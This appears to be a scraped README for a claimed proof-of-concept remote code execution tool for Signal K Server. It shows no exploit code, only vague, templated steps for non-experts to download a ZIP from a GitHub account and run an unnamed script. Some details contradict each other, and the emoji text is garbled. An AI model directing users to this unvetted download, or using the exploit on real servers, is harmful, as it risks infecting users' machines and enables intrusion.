## https://sploitus.com/exploit?id=3F908A28-8162-5216-BA17-CF2290C080BC
# โ ๏ธ cve-2025-66398 - Simple RCE Proof of Concept Tool
[](https://github.com/showy-headteacher114/cve-2025-66398)
---
## โ๏ธ About This Tool
This project demonstrates a remote code execution (RCE) vulnerability in Signal K Server versions 2.18.0 and earlier. The proof of concept (PoC) shows how an attacker could run commands on a vulnerable device.
This tool is designed for security testers, system admins, or anyone interested in understanding this security issue. It requires no prior programming skills to run, but basic computer navigation knowledge helps.
---
## ๐ฅ๏ธ System Requirements
- Windows 10 or later
- At least 2 GB of free RAM
- 100 MB free disk space
- Internet connection for downloading files
- Administrator rights are NOT needed
---
## ๐ฅ How to Download and Install
Click the button below to visit the project page and download the files.
[](https://github.com/showy-headteacher114/cve-2025-66398)
### Step 1: Visit the Download Page
Go to the link above. You will see a list of files and folders on the GitHub page.
### Step 2: Download the ZIP File
Look for the green **Code** button near the top right of the page. Click it and select **Download ZIP**.
### Step 3: Extract the Files
- Find the downloaded ZIP file in your Downloads folder.
- Right-click the ZIP file and select **Extract All**.
- Choose a folder where you want the files to go, then click **Extract**.
### Step 4: Locate the Application
Open the extracted folder. You should see files related to the project, such as scripts and documentation.
---
## โถ๏ธ How to Run the Tool on Windows
The project uses scripts written in Python and Go. To run the tool, you will use a simple command prompt window.
### Step 1: Open Command Prompt
- Press `Win + R` on your keyboard.
- Type `cmd` and press Enter.
### Step 2: Navigate to the Folder
Type this command, replacing `path\to\folder` with your extracted folder path:
```
cd path\to\folder
```
Press Enter.
### Step 3: Run the Script
You may find a script with a name like `run.bat` or `start.bat`. If so, type its name and press Enter. For example:
```
run.bat
```
If there is no BAT file, look for a Python script ending with `.py`. You will need to have Python installed on your PC (see next section).
Type this command to run:
```
python scriptname.py
```
Replace `scriptname.py` with the actual file name.
---
## ๐ Installing Python (If Needed)
If you get an error saying Python is not recognized, you need to install Python.
### Step 1: Download Python
Go to the official Python website:
https://www.python.org/downloads/windows/
Click the latest Windows installer and download it.
### Step 2: Install Python
- Run the downloaded installer.
- Check the box that says **Add Python to PATH** before clicking **Install Now**.
- Wait until the install finishes.
### Step 3: Verify Python Installation
Open a new Command Prompt window and type:
```
python --version
```
It should show the installed Python version.
---
## ๐จ Running the Tool Safely
This tool is for testing and learning about a specific vulnerability only. Use it in a safe environment, such as a test network or isolated machine.
Never run it against systems you do not own or have permission to test.
---
## ๐ How the Tool Works
The tool scans devices running Signal K Server version 2.18.0 or earlier. It attempts to send commands that exploit the vulnerability and checks if the target executes them.
This allows security professionals to confirm if their systems are vulnerable and take action to update or secure them.
---
## ๐ก Troubleshooting
- If the tool does not start, check that you are in the correct folder in Command Prompt.
- Make sure Python is installed and added to your system PATH.
- Close other applications that might block network access.
- Run Command Prompt as Administrator if you encounter permission errors.
- Ensure the target device is reachable on the network.
---
## ๐ Additional Resources
For more information about the CVE-2025-66398 vulnerability, search on security databases or GitHub for related research.
---
## ๐ Download Link
Visit this page to download the tool files:
https://github.com/showy-headteacher114/cve-2025-66398